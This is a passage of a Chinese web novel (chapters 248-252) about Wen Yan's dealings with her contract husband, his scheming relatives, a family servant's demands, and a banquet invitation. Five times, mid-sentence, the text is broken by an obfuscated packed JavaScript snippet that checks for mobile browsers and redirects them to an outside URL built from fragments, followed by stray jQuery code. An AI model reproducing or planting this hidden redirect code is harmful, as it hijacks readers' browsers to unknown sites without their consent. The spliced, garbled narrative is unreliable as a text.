宣扬得天下皆知吗?你的名誉毁掉,就参加不了秋闱。 你可要想好了,真的要为了一个女人,就不要仕途了。” 应知林无所谓地摊摊手:“你想宣扬就去宣扬好了。 反正我的妻子有的是钱,我便是一辈子不考科举,她也能把我养得白白净净,日子过得逍遥自在。” 二姑姑:“……果然是厚脸皮,竟然把吃软饭说得如此理所当然。” “那又如何,我妻子愿意养我,二姑姑是羡慕嫉妒恨吗? 不如,你也凭自己的本事,把我二姑父养起来。 而不是来吸我的血。” “你……”二姑姑气结,一时找不到反驳的话。 突然捂着胸口‘哎呦哎呦’地喊疼,说她不好了,要请大夫。 蒋家小女儿转身就想跑出去嚷嚷。 “佩儿。”应知林喊了一声。 佩儿立即从门外蹿出来,一把拉住蒋家小女儿。 蒋家小女儿挣扎:“你个贱婢,你放开我,没看见我娘不好了吗?我要去给她找大夫。” 应知林似笑非笑地看着她:“小小年纪,别的没学到,倒是将你娘撒泼耍赖的本事学了个十成十。 我会些医术,远远瞧着,你娘并无碍,你不必着急。” 应知林打定主意不会让她出去找大夫。 蒋家小女儿知道闯不出去,又乖乖地退回去,坐到了她母亲的身边。 二姑姑也知,再装下也不会如愿,哎呦一声就清醒过来。 “应知林,你会后悔的。”她扔下这句狠话,就匆匆离开了。 闻颜看着她气匆匆的背景,失笑出声。 应知林深吸一口气,转身对闻颜道:“以后他们再来找你麻烦,你直接告诉我,我来处理就好。” 闻颜摆摆手,不甚在意的道:“只要合约没有到期,这些事,我就有义务帮你处理。” 应知林眸色一暗。 果然,她至今仍然想着,合约到期就离开。 他也庆幸,自己没有冲动行事,而是选择循序渐进。 离合约到期还有三年,自己还有大把的时间,赢得她的心! 第248章:卖消息,赚一笔 将家中的事安排好,翌日一早,闻颜就又要赶去京城。 庆川说三天之后出发,自己再不去京城,他就出发去北境了。 应知林帮闻颜把包袱放上马车:“我这几日读书费脑子,我想吃食味斋的点心。” 闻颜微微蹙眉。 应知林这语气,怎么跟撒娇似的? 不,一定是自己听错了! 闻颜朝他比了一个‘放心’的手势,转头就对佩儿道:“我们走吧。” 三两马车一起朝村外驶去。 一辆是闻颜的。 另外两辆,是田叔送净面娘子去花楹镇的。 途径村口,应喜妹突然冲出来。 “吁——”佩儿急忙勒停马车,气恼道,“寻死啊你!你不要命了也别拉我们陪葬啊!” 应喜妹对佩儿哼一声:“闻颜,你下来,我凑够银……” 马车的窗帘被掀开,闻颜的脸从窗户露出来。 应喜妹立即跑过去,拿出一只钱袋向她炫耀:“喏,钱我已经准备好了,你赶紧去打听希延哥哥的消息,我今天下午就要知道,否则这些银子你一文都得不到。” 闻颜道:“消息我早打听到了。” “那你快告诉我,希延哥哥现在在哪里?” 闻颜摊手:“银子。” “万一我把银子给你,你耍赖什么都不肯说该怎么办?” “你没一点自知之明吗?”闻颜忍不住翻了一个白眼,“你们一家狗皮膏药一样难缠,我甩都甩不及,哪敢沾上你们。 算了,既然你不信我,那你自己去打听消息吧。” 闻颜放下帘子:“佩儿,我们走吧。” “别别别,你这人怎么这么小气,玩笑都开不起。 喏,银子给你,你快说吧。”应喜妹双手奉上银袋子。 闻颜接过袋子抛了抛,确定重量不差之后,便道:“孟希延去晋阳府赈灾了,他现在是晋阳府知府,等他赈灾回来,就会平步青云,从小将军变成大将军。” 自己的眼光果然不错! 应喜妹窃喜偷笑。 闻颜让佩儿赶着马车就离开。 上官道后,闻颜就和田叔他们分开。 闻颜他们将近午时抵达京城。 他们找了一间客栈落脚之后,她就派人去伯府通知庆川,在‘一点墨’碰面。 与此同时。 松山村中,老应家。 乔婆子的房间里发出一声尖叫:“啊……我的银子!家里遭贼了,快来人啊!” 应喜妹缩在房间里,瑟瑟发抖:“完了完了,老娘这么快就发现了!老娘会不会打死我啊!” 打死她都不敢出去。 直到乔婆子大叫嚷着要报官。 应喜妹才不得不出去坦白。 乔婆子听说钱是被应喜妹拿了,气得脸都扭曲了。 应喜妹吓得‘哇’的一声大哭出来。 ** 闻颜带着佩儿吃过午饭,正要往‘一点墨’去。 突然遇上官兵开道,是有贵人路过。 闻颜连忙拉着佩儿退到一旁避让。 很快。 驶来一支低调的马车队伍。 闻颜瞬间认出马车上的标志。 是恭太妃的马车。 过完年她就去行宫小住,现在正是一年之中最热的时候,怎么回来了? 京城这般炎热,太妃年纪大了,身体能受得住吗? 就在此时,车帘从里掀起。 露出里面端坐的老太太。 老太太满头银丝,一张布满岁月痕迹,却仍然慈和的脸。 许是察觉到闻颜的视线。 她回头看过来,与闻颜的视线撞在一起。 恭太妃眼神柔和,朝她微微颔首。 闻颜连忙敛衽行礼,不敢再抬头。 ‘一点墨’二楼的雅间,庆川来得很快。 苏合上完茶后,就退了出去。 “你什么时候起程?”闻颜问道。 “明日一早就要走,这次的货物有很多,我们要赶在入冬积雪之前,卖完货回来。” “北境入冬早,现在已经是七月,只有不足两个月的时间了,确实有些紧张。 想必你出发前还有许多事要做,我也就不耽搁你了。” “我要买入的东西,都写在上面了。”闻颜拿出一张清单,放到庆川面前。 她又拍了拍桌边的一口箱子,“这里面是我买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344290|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入物资的财物,不过需要你将它们带到边境,将它们换成银子。 当然,我不会让你白忙活,所换银钱的两成是你的酬劳,其余的全部换成货物。” 庆川好奇她都拿了些什么东西来。 将盒盖打开一条缝隙,瞬间被里面的珠光宝气晃花了眼。 “这么多东西,你全都要换掉?”里面好些上等货。 闻颜悄悄道:“这是我在路上从土匪窝里掏来的,再值钱我也不敢在大庸花,只能拜托你拿到北境去处理了。” “行,这些事就交给我吧,保证帮你办得漂漂亮亮的。”庆川说完,犹豫了一下,从旁边的凳子拿出一只锦盒,递给闻颜。 “给我的?”闻颜好奇去接。 盒子颇重,压得她差点没捧住。 “这么重,不会是什么珍贵的矿石吧!”闻颜越发好奇,打开之后发现里面装着一块巨大的白玉。 白玉脂白无瑕,油润光滑,是一块上等的籽料。 这尺寸,不管雕一尊玉佛,还是一只玉瓶,都绰绰有余。 闻颜立即盖上盒子,费力地推了回去:“无功不受禄,这么贵重的物品,我不能收。” 庆川道:“你当初借我几千两银票的时候,可不是这样说的。” 闻颜:“……” 看来,这玉石她不收都不行了。 “那就让你破费了。” 与庆川分开后,闻颜本想去将军府,找义母拿钥匙,敬明媚就找来了。 几人又回到了包厢之中。 “那江柔儿迫不及待地想爬上霍耀行的床。 我每天跟她斗智斗勇,阻止她往霍耀行身边凑,可累死我了。 什么时候能成全他们啊!”敬明媚歪在椅子里,一副受尽折磨,被吸干了精气的样子。 闻颜捂嘴偷笑:“现在还不是时候,只能让你再多忍耐几天了。” 敬明媚一阵哀嚎:“太不爽快了,我憋屈。不如我们换个打法,按照我的手段来吧。” “千万别。再有个把月就能动手了。 你想一想,霍耀行父子反目成仇的画面,是不是就能多忍几日了。” “我……,我忍!”敬明媚握紧拳头,咬牙切齿。 第249章:应喜妹跑了 第二日,闻颜就去将军府,找义母拿到了宅子的钥匙。 宅子位置不算好,而且久不住人,很是荒芜。 空气里还飘着一股陈腐气息。 但胜在宅子很大,修建布置得十分精致。 亭台楼阁,移步换景,抄手游廊,假山流水。 后院里还有一个蜿蜒曲折的池塘,里面种满了荷花。 现在正是开花的季节,即使无人精心打理,也开得十分热闹。 这个院子闻颜很满意。 转悠一圈,她就有了大概的布置思路。 随后,她住进了‘一点墨’后面的小院。 写写画画两天,就将图纸交给虎叔,让他找人修葺、布置宅子。 闻颜也忙着订制其余东西,挑一些侍奉打扫之人。 忙忙碌碌间,半个月时间不知不觉过去。 闻颜想要的宅子已经初见雏形。 只有一些细节还要调整。 闻颜总算能松一口气。 她便买了些东西,回家去歇两天。 不过在回家之前,她先去了一趟柳家村,去看一看亲生父母。 马车刚进村就引人围观。 柳家人得到消息,开门迎了出来。 张敢娘看见闻颜便红了眼眶。 老三媳妇一把抱住闻颜的胳膊:“你一出门就好几个月,每次过去送豆腐都看不见你,想死我了。” 一家人欢欢喜喜进了院子。 闻颜看见院子里晒满了豆皮。 家里也多了三头驴,用来拉磨,给他们减轻了不小的负担。 不过院子里堆着许多豆粕,根本吃不掉。 闻颜想了想,就建议他们养些鸡鸭猪,来消耗豆粕。 张敢娘的身体好了许多,虽然还是消瘦,精神却好了许多。 闻颜在柳家吃过午饭才离开。 柳家人目送她离开村子。 老三媳妇便兴冲冲地回到房间,开始拆闻颜带来的东西。 除了两根五十年份的人参,还有几匹布料,几盒糕点。 人参是留给张敢娘的。 但是这几匹布,足够家里每人做两身衣裳了。 张敢娘则和柳父商量着,家里建猪圈的事。 “我们豆粕量很大,猪圈得建宽敞一点,得多养几头猪才行。” “我们做豆腐都忙不过来了,哪有时间养猪啊!” “我们请些工人吧,磨豆滤豆渣就交给别人,养猪也是。” 柳家人凑在一起,有商有量着家中大事。 闻颜赶着天黑前回到松山村。 院中安安静静,烟囱里冒着浓烟。 她跳下马车,正要上前叩门,就听身后一声尖厉咆哮:“闻颜,还我女儿,我要杀了你!” 闻颜回头。 就见乔婆子疯了似的扑向自己,并砸来一块泥巴。 咝…… 闻颜倒吸一口气,刚想躲开。 眼前忽然一花。 她就被一双有力的手臂抱住,随后整个人被拥入一个怀抱。 这熟悉的气息,是应知林。 ‘砰!’ 她听见泥巴砸在身体上的声音,头顶立即传来一声闷哼。 闻颜挣扎,想抬头看他。 应知林扣着她的脑袋按入怀中:“先别动。” 果然。 应知林又挨了两下,才松开闻颜。 他将闻颜护在身后,厉声质问:“你干什么!?” 乔婆子疯了一样扑过来挠闻颜,嘴时骂骂咧咧:“怪你,都怪你! 要不是你,喜妹也不会离家出走,去找那个姓孟的! 她若是有个三长两短,我一定杀你偿命……” 在乔婆子一声声叫骂诅咒当中,闻颜很快就明白了事情的原因。 应喜妹偷了乔婆子的钱,向自己买了孟希延的消息。 乔婆子当天就发现钱被偷了,她大发雷霆。 将应喜妹狠狠训斥一顿,还打了她一个耳光。 当天夜里,应喜妹就留书离家出走了。 还再次偷了五十两银子。 乔婆子当时就气撅过去了。 闻颜啧舌,这个应喜妹,胆子可真大。 不过,她一个独身女子在外,真的很危险。 也难怪乔婆子会发疯。 自从应喜妹离家出走之后,乔婆子天天到她家里来闹。 今天可算是逮到闻颜了 她怎么可能会轻易放过! 她弯腰捡起什么,就朝闻颜丢什么,一边丢一边骂:“你这个搅家精,瘟神! 自从你嫁到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344291|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老应家,我们就没过上一天安生日子。 先是撺掇我孙子断亲,现在又把我女儿骗得离家出走! 老应家娶到你这样的媳妇,简直倒了八辈子血霉。 难不成我上辈子刨你家祖坟了吗? 哎呦喂,我的命好苦啊! 让我**算了,孙媳妇逼死祖母了……” 乔婆子骂着骂着,就一屁股坐在地上,拍着大腿哭诉起来。 哭完她还要去抱闻颜的大腿。 闻颜连忙退开,乔婆子扑了个空。 闻颜看着乔婆子:“你哭!你只管哭。 你只管把事情闹得人尽皆知。 把正应喜妹只是订婚,又没有成婚。 男方家里若是知道了,只会解除婚约,肯定不会对她怎么样的!” 乔婆子像只被掐住脖子的鸡,一时间闹又不敢闹,就这样回去又不甘心。 但她还是要闻颜负责。 闻颜根本不想搭理她家的事,但若是真的不管,不仅乔婆子不安生,村民也会觉得她冷漠。 这不利于她将来守寡。 几乎没有过多思才,便说会帮忙报官一起找。 “不能报官!”一旦报官,喜妹夜半三更离家出走的消息就瞒不住了。 名声毁了。 喜妹还怎么嫁人! “这也不行,那也不行,等你想好了再来找他们吧。”村长匆匆赶来。同好气地喝斥乔婆子,“发现当天,知林就说过去报官,你们要是同意,应喜妹早就找回来了。 是你拖拖拉拉,顾这顾那。 应喜妹要是有个三长两短,全都是你害的!” 乔婆子被村长拆穿。 顿时就捂着脸,‘呜呜’哭了起来。 村长的长子,也带着应大伯和应三叔来了。 村长给闻颜他们打手势,让他们先回家,这里有他处理。 闻颜和应知林进了院子。 院门刚一关上,应知林的身体就踉跄几下。 “唔……好痛!” 闻颜连忙扶住他:“你怎么样?” 应知林:“我的背好痛,好像刚才被砸到要害了。” “走,回屋,我帮你看看。”闻颜扶着他就往东跨院走。 应知林的半边身体,几乎都压在她身上。 第250章:应知林怕疼 闻颜顿时感觉到肩膀上传来的压力。 仿佛有一座山压在她的肩膀上。 闻颜连忙使出吃奶劲撑住他:“扯到伤口了吗?” 应知林轻蹙着眉头,哼哼唧唧的点头。 闻颜也蹙着眉:他何时变得如此娇气了? 难不成是那几块泥巴,砸到要紧位置了? 不会是装的吧! “你再忍一忍,马上就到房间了。”闻颜将他扶回房间,让他坐到椅子上。 “你在这里坐着,我去找人。”闻颜说完,转身就要出去叫人。 应知林一把握住她的手腕:“您要去找谁?” “你疼得如此厉害,当然是去找大夫啊!” “村里的赤脚大夫,医术恐怕还没有我好。他来了无非就是让我用药酒搓一搓,何必跑那一趟,”应知林将她拉回来。 许是牵扯到了后背伤,他轻嘶一声,脸色更加苍白了,“我书案的抽屉里,有一瓶活血化瘀的膏药,用它揉一揉就好。” “那我去找辰七哥来帮你。”闻颜还是要出去。 应知林又抓住她:“辰七哥失去一腿一臂,本就心里自卑,何必再往他的伤口上撒盐。” 闻颜:“这……算撒盐吗?” “怎么不算呢?”应知林说着,像是忽然想到什么。 他的眼神瞬间变得失落受伤,“其实,是你不愿意帮我吧。我知道的,我们虽有夫妻之名,到底是男女有别……” 他苦笑一声,低下头去。 闻颜:“……我不是,我没有!” “你的顾虑是对的,你去找康叔来帮我吧。”康叔,是三名护院中的领头。 应知林转过身,低下了头。 那背影,别提多可怜落寞了。 怎么弄得她像个恶霸,应知林是个被她欺负的小可怜? 闻颜一阵无语。 她张了张嘴,想解释什么,终究是什么都没说,就离开卧房。 闻颜拿到药膏之后,犹豫了一下,还没有去找康叔。 她重新回到房间,就见一副雪白宽阔的脊背,出现在眼前。 闻颜瞳孔震颤,猛吸一口气。 应知林自己脱去了上衣。 宽肩窄腰,肌肉坚实。 别说,这男人的身材相当不错。 就是他背上那几块青紫瘀伤,太煞风景。 闻颜此前还怀疑他在装娇弱,原来是自己误会了。 闻颜拿着东西走进去。 “康叔,麻烦你了。”应知林头也不回地道,声音里还带着小委屈。 闻颜没吱声。 用手指挑出一点药膏,用手心的温度将其融化后,再按在青紫的地方。 “哼……”应知林低哼一声,身体也跟着颤了一下。 没想到他竟然怕疼,闻颜没忍住,发出低低的笑声。 应知林瞬间红了耳根:“我怕疼的事,你别告诉闻颜。” “为什么不告诉?怕我取笑你啊?”闻颜憋着笑。 应知林猛地回头,看见是闻颜。 他立即双手护胸。 脸颊却是以肉眼可见的速度红起来。 他又连忙用手护住脸。 闻颜笑得不行。 她用食指去勾他的手腕:“哎呀,你在害羞什么?之前你挨了孟希延一掌的时候,不是挺能忍的吗? 现在怎么就忍不住了?” “你别说了。”应知林突然抬头,一把捂住闻颜的嘴,“不许你再说了。” 因为羞恼,他的脸颊红得几乎要滴血。 眼眶也泛着红,还蒙上了一层水汽。 看着很是楚楚可怜。 闻颜心里顿时生起负罪感。 她连忙收起笑容,很真诚地跟他道歉:“对不起,我不是故意的。 实在是跟你平时的性格反差太大,我才…… 我真的不是故意的。” 应知林轻叹一口气:“我是大哥,我若是再不表现得强横一点,怎么能保护得了弟弟妹妹。” 闻颜觉得气氛低迷,生硬地转移话题:“别说那些有的没的了,我帮你把药膏揉开吧。会很痛,你忍着点。” “嗯。”应知林转过身去,任由闻颜操作 闻颜才揉了第一下,应知林的身体,就止不住地痉挛。 闻颜都不敢下手了,提议缓一缓再继续。 应知林摇摇头:“后背的伤,好像影响到我右臂了。马上就要秋闱,我的手臂不能出事。” 虽然知道他考不上,闻颜还是不忍伤害他,只得继续。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344292|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应知林死死咬住牙关,一点声音都没发出。 闻颜并未停下,应知林也一直忍着痛,额头沁出大片冷汗。 揉到一半,他的身体已经控制不住地轻颤。 闻颜刚想停下来。 应知林就抬起头来看着她:“我好疼,我可以抱着你腰吗?” “就像小时候,我抱着母亲一样。”他的眼眶里含着泪水,那楚楚可怜的样子,就像一只受伤的小狗,惹得人心软。 闻颜根本说不出拒绝的话,轻轻点头。 应知林立即抱住她的腰,紧紧的,就像闻颜是他唯一能抓住的浮木。 这模样,可真像一个无助的孩子。 闻颜重新给他揉药,并说话来转移他的注意力。 “应喜妹的事,你打算怎么办?”到底是因为她提供的消息,应喜妹才会离家出走。 现在外面很不太平。 应喜妹一个女子独自出行,很容易被坏人盯上。 虽然不喜欢,若是让她因此搭上性命、清白,闻颜总归是过意不去的。 应知林声音虚弱地回道:“她出走的第二日,我就找同窗帮忙找她。 她目前在同窗的商队里,安全无虞。” “人没事就好。”闻颜跟着松了口气,“那你为什么不告诉乔婆子?” “太轻易告诉她,她又会粘上来,甩不掉。” 两刻钟过去,闻颜才将三四处瘀青揉完:“你快把衣服穿好吧。” 应知林抬手穿衣,右手却使不上劲。 闻颜无奈叹气,“我来帮你吧。” 夏天的衣服本就轻薄。 一件长衫很快就替他整理好了。 “谢谢。”应知林一直低着头。 “小事而已,况且我们是合作伙伴,互相帮助不是应该的嘛!”闻颜收拾药膏,就准备出去。 “今天的事……”应知林迟疑着开口,“你能不告诉别人吗?” “我为什么要告诉别人?”闻颜朝他挥挥手,爽朗笑着离开了。 待闻颜一走,应知林才抬起头来。 他看着闻颜的背影,脸上溢出温柔的微笑:“果然,只要是弱者,你就会照顾,同情!” 他用灵活的右手摸了摸后背的伤势,有点怪乔婆子不中用。 第251章:应知林不能自理 他就应该让乔婆子再多砸几下。 不过没关系。 以后有事没事,多往乔婆子身边凑凑。 天色渐暗。 闻颜洗手回来,正要扶应知林出去吃饭。 佩儿就将晚食端进来了。 想到应知林的伤势,闻颜就陪着他一起在院子里吃饭。 果然就见应知林夹菜的时候,手一直在哆嗦,夹不太稳。 好几次菜都送到嘴边了,还是没吃上。 闻颜叹了口气,接过碗筷:“我来喂你吧。” 闻颜用勺子舀着饭菜,送到他嘴边:“啊……” 应知林乖乖张嘴吃饭,目光却一瞬不瞬地看着她。 起初闻颜还大大方方的。 他要看就看吧,反正又不会少块肉。 可他一直盯着看,闻颜就有些不自在了。 她好奇地问:“我真的很像你娘亲吗?是长相相似?还是神情相似?” 应知林:“……” 闻颜本来就容易心软,要是让她产生当母亲的错觉,还怎么喜欢自己? 他当即否认:“不是,我只是觉得你比我预想的还要温柔。” 闻颜打趣他:“你难道忘记我去行刺阿十剑的事了?” “一码归一码,有仇不报,那不是温柔,是怯弱。” “你的歪理倒是挺多的。” “这明明是道理……” 两人拌着嘴,晚食很快就吃好了。 闻颜把碗筷叠在一起:“睡觉之前洗澡什么的,你总不会还要我帮你吧!” 应知林闹了个大红脸:“不必,这个我自己能行。” 闻颜偷笑着,离开了房间。 应知林看着闻颜的背影,目光片刻都舍不得离开。 “闻颜眼里容不得砂子,你这样骗她,当心她知道了跟你翻脸。”辰七哥柱着拐杖,不知何时出现在应知林门外。 应知林笑看着辰七哥:“我何时骗她了?” “我怕疼……”辰七哥夹着嗓子,学应知林的语气。 “你偷听我们说话!”应知林顿时沉了脸。 辰七哥:“我练武的,耳力本来就比普通人好,你们说话又没避讳。” “康叔他们……”不会也听到了吧! “那倒没有,他们只会些普通的拳脚功夫,我以前可是在江湖中排得上名号的。”辰七哥说着说着,还有些洋洋得意。 耳朵这么灵,他还怎么好意思跟闻颜撒娇装柔弱! 而且……闻颜刚才说了合作伙伴,他不会猜到什么了吧! 应知林绝情道:“明天你还是搬去西跨院,跟康叔他们挤大通铺吧!” “你……公报私分!”康叔他们都是些糙汉子,大夏天的汗味脚味儿都能把他熏死!辰七哥才不想跟他们挤。 辰七哥现在恨不得自打嘴巴,让你多嘴! 辰七哥垂头耷耳的离开。 刚走了几步,他又顿住。 他回头看着应知林,神情没来由的严肃:“闻如月一直想找颜颜的麻烦,你若是真的跟她在一起,恐怕也会受牵连。 你可要想好了,能不能承受得住来自闻家和津平侯府的怒火。 再就是,你开屏就开屏,千万别越过闻颜的底线,后果你承担不过。” 辰七哥说完,就柱着拐杖‘哒哒哒’地回了自己的房间。 二姑姑一家,在闻颜去京城的次日就搬出去了。 院子里安静极了 闻颜去陪五婆婆聊了会儿天,又去检查了颜料作坊的进度,就回屋休息了。 翌日。 天刚刚亮,闻颜就早早起了床。 她要赶在应知林去书院前,给他揉一回药膏。 闻颜叩门进去:“我来给你揉药膏。” 应知林乖巧的自己起身脱衣。 昏黄灯光下,他的身材更加分明。 闻颜掌灯仔细看了看,青紫已经变成红褐色:“看上去好了许多。” 应知林道:“已经没有昨日疼了,抬手还受些影响。” 闻颜打开瓷瓶,应知林就悄悄捏住她的衣角。 闻颜失笑:“你想抱就抱吧。” 反正昨天已经让他抱过了,也不差今天这一回了。 应知林去书院后,闻颜先去慧娘的制墨作坊转了一圈,快到午时。 佩儿就气喘吁吁地跑来叫她:“小姐,京城来人了。” 闻颜好奇:“来的都是什么人?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344293|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 佩儿摇头:“那人衣着富贵,看上去来头不小。” “走,先回去看看。” 闻颜回到家中,看见坐在院中的江嬷嬷,闻颜了然一笑。 江嬷嬷是闻家主母,江心葵的心腹嬷嬷。 她看见闻颜,当即上前行了一礼:“二小姐,您可让我好等。” 她虽礼数周全,眉宇之间却没有一丝恭敬。 闻颜:“江嬷嬷,您来这乡下地方,有何贵干?” “夫人老爷想您了,特地让我过来看看你。”她挥了挥手,小丫鬟立即提着一个食盒,递给闻颜。 “这里面,是你最喜欢吃的绿豆糕,夫人特地让我准备的。” 佩儿看了一眼食盒,并未动作。 “母亲是老了吗?记性真的很不好,我喜欢的明明是红豆,从来不喜欢绿豆糕。 算了,到底是她老人家的一片心意。 佩儿,收下吧。” “是,小姐。”佩儿这才上前接过。 “东西我已经收到了,就不留江嬷嬷吃饭了,毕竟寒舍简陋,粗茶淡饭,江嬷嬷会吃不习惯。” 佩儿立即上前送客。 江嬷嬷气得要死,果然是泥腿子的种,在闻家养了十几年,还是一点修养都没有。 佩儿拉着她就往外走。 “等等,我这次来还有一件事。”江嬷嬷一把甩开佩儿,大步走到闻颜面前。 她将一个纸包递给闻颜:“你不是从小喜欢配香料吗? 这款香料夫人很喜欢,你赶紧配一款出来。” 闻颜打开纸包,一股特别的得气扑面而来。 闻颜挑了挑眉。 这不是她卖给闻如月的香料吗? 看来她真的送给兰贵妃了。 兰贵妃用完之后,闻如月没地方补货,便打起了自己的主意。 闻颜把纸包复原塞回去:“我配不了。” “你以前不是总吹嘘自己香道很厉害吗?这款香你怎么就配不出来了?” 闻颜一脸无辜:“哎,实在是乡下的生活太艰苦,我的鼻子最近不灵敏。” “闻颜,你可要想好了。你要是惹得夫人不快,以后再想要娘家替你撑腰,可是不能了。” 第252章:请柬 江嬷嬷跟在江心葵身边久了,学了一身的高傲脾气。 求着她调锡兰香,却连求人的态度都没有。 竟然还拿闻家来威胁她。 还真当她怕了闻家不成? 闻颜心里发笑,面上却不显。 她踉跄后退几步,一脸悲痛地说:“看来……我与闻家,就要缘尽于此了。 以后我就没有娘家了,我的心好痛,呜呜呜呜……” 闻颜说完,就捂着脸跑开了。 江嬷嬷想拦都拦不住,只会无能咆哮:“闻颜,你站住! 你今天要是敢走,老爷和夫人绝对不会再认你。 有这层关系在,你好歹还有闻家养女的头衔。 如若不然,你就成了彻头彻尾的村姑,京城就再无你的立锥之地!” 闻颜跑开的步子一顿,停了下来。 江嬷嬷得意一笑。 闻颜在拿什么乔。 到头来,还不是要乖乖的听自己吩咐。 不过,闻颜这人性子倔得很,又特别好面子。 若是把她逼急了,她咬定拒绝调香,自己回去也要吃瓜落的。 看来,只能她受些委屈,忍下这份委屈,哄着她把香料制作出来了,再去夫人面前告她一状。 夫人必定怒不可遏,自己便能光明正大的来收拾她。 想到此,江嬷嬷脸上露出温和笑,上前拉住闻颜的手,亲亲热热,就像从来没有过生间隙,劝她调香。 她说了一箩筐,总结成一句话:夫人会高兴。 闻颜心里发笑。 养育之罪,她前世已经还完。 今生的江心葵高不高兴,谁在乎? 闻颜看着江嬷嬷:“不知嬷嬷可将制香的材料带来了?” 江嬷嬷:“呃……” “夫人不会是想让我来买这些材料吧! 这款香中使用了大量的龙涎香。 龙涎香的价格江嬷嬷应该知道吧! 一两龙涎,十两金。 更何况还有许多其他名贵香料。 我现在可是一穷二白,连饱饭都吃不上的村妇,可没有钱准备这些香料。 别说我不会配,就算我会配,也巧妇难为无米之炊啊!” 这话说得,好像江心葵要占一个村妇便宜。 江嬷嬷气得不行,但她还是只得强耐着性子,说道:“您误会夫人了。 准备香料还需时间,您先准备着,香料稍后就送到。” 江嬷嬷眼睛长在头顶上,如此低声下气地求她配香,可见兰贵妃是极为喜欢的。 闻如月越是着急。 闻颜就越不会答应。 “准备?准备什么?我说了,我现在制不了香,你们还是另请高明吧,别在我身上浪费时间。” “佩儿送客。”闻颜脸色一沉,说完就回了自己的东跨院。 佩儿也不客气,冲着空气喊了一声:“康叔!” 眨眼间,康叔三个护院就飞快跑了过来。 虎视眈眈地逼近江嬷嬷。 江嬷嬷看见三个魁梧壮汉,生怕他们对自己动手动脚,逃也似的出了应家院子。 她爬上马车,催促车夫:“快走,赶紧走。” 车夫不明所以,但还是听命挥动鞭子,马车立即就驶了出去。 一直到马车驶上官道,江嬷嬷才松了口气。 她撩起车帘,朝着松山村的方向‘呸’了一声:“臭丫头,吓这样羞辱我,迟早让你追悔莫及。” 一骑快马从江嬷嬷的面前一闪而过,走上小路,朝松山村方向去了。 江嬷嬷并未多想,气哼哼地放下帘子,一路朝京城而去。 刘婶陪着人去花楹镇学手艺后,家里做饭的话,就落在李婶一个人头上。 佩儿和康叔没有其他事忙,就跟着打下手。 佩儿刚洗好黄瓜,外面就再次传来敲门声。 佩儿以为是江嬷嬷去而复返,气鼓鼓地去开门:“我家小姐不是说了,不会调香……请问你找谁?” 并不是江嬷嬷,而是一位陌生男子。 穿着一身锦衣,面白无须,表情还算和气。 “请问,这里是闻颜姑娘的家吗?” 见他态度不错,佩儿也客气地问:“你有什么事?” “你是替主子来送东西的,麻烦姑娘帮忙通传一声。” “你等着。”佩儿没让他进门,但也没关门。 往东跨院去的时候,朝康叔使了个眼色,让他盯着门外那人。 康叔朝她点点头,表示知道。 闻颜听说有人送东西来,很是诧异。 看清来人长相之后,闻颜很是震惊:“裴总管!你怎么来了!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344294|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“闻姑娘。”那人对着闻颜恭敬一揖,这才从怀中拿出一份烫金请柬:“闻姑娘,我家主子将在十日后举办赏荷宴,请您到时一定要参加。” 闻颜双手接过请柬,真诚道:“还请裴总管转告恭太妃,闻颜一定会准时出席。” 裴总管含笑点点头,就离开了。 